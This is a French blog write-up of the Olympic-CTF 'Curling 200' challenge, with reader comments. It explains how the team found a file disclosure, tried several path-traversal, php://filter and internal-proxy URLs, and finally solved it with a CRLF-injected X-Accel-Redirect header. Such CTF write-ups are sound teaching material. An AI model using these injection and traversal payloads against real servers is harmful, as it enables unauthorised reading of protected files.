2014/02/09

[Write Up] Xnginx: Curling 200 (Olympic-CTF)

Le voici, le voila: le fameux Curling200 !!

Ce challenge (non résolu à temps et pourtant..) avait pour intitulé:

flag is there
Flag format: CTF{..32 hexes..}
Alors.. celui-ci nous aura vraiment fait trés trés mal..
Au début tout allait bien puisqu'aprés quelques recherche la première intuition (lfi) dû à un paramètre qui semblait "suspect" à savoir http://109.233.61.11:27280/news/?retpath=/news/ nous semblait être une piste sérieuse notamment quand un scan sous W3AF nous donna ceci:

La on s'est dis: super \o/ , d'autant que /proc/self/environ étant aussi accessible.. oui mais voila, cette piste la nous aura fait d'hors et déja perdre énormément de temps avant que l'on comprenne qu'il s'agissait plus d'un file disclosure qu'autre chose!
Comment l'a-t-on découvert?
Comme ceci:

une fois ré-indenté cela donne quelque chose comme:
#listen   80; ## listen for ipv4; this line is default and implied
#listen   [::]:80 default ipv6only=on; ## listen for ipv6
 root /usr/share/nginx/www;
 index index.html index.htm;
 # Make site accessible from http://localhost/
 server_name localhost;
     location / {
      limit_req zone=one burst=5 nodelay;
              proxy_pass http://127.0.0.1:5001;
                }
location = /secret/flag {
              root /home;
      internal;
       }
     }

C'est à ce moment la qu'on compris qu'il fallait exploiter cela différemment : reverse proxy inside!! 
En effet, configuré de la sorte nous n'aurions jamais les droits pour lire le fichier!!
Quelques recherches plus tard on est donc parti sur des centaines de tests différent concernant un internal redirect (127.0.0.1:5001), en voici quelques exemple afin de vous donner des idées le cas échéant:
...
http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/?f=/home/secret/flag
http://109.233.61.11:27280/?retpath=http://109.233.61.11:27280/news/?f=../../../../../../../home/secret/flag
http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/?f=php://filter/convert.base64-encode/resource=../../../../../../../../../../secret/flag
http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/?f=/home/secret/flag
http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/secret/flag
...
Au final la solution et nous l'avion tenté via les headers sans succès etait :
http://109.233.61.11:27280/?retpath=/secret/flag%0AX-Accel-Redirect:%20/secret/flag



Nous l'avions quasiment trouvé mais encore fallait-il penser à utiliser X-Accel-Redirect directement dans l'url !!

Voici un des quelques liens sur Nginx et son module internal  que nous avions utilisé:
nginx.org

La suite se trouvant sur google à vous de rechercher si l'occasion se présente mais surtout surtout laisser aller l'imagination car perso jamais je n'aurait pensé à mettre ceci dans l'url tel quel !

Enjoy!




3 commentaires:

Spid3rman a dit…

Ne culpabilise pas, le coup de la lecture en passant par f c'est en grande partie de ma faute je nous ai fait partir dessus au lieu de nous concentrer sur accel. On le saura pour la prochaine fois.

HyP a dit…

Je trouve çà juste terrible comme article ! Les challenges n'ont aucune limites ;-)

Unknown a dit…

Juste au poil ! j'ai adoré malgré la difficulté ...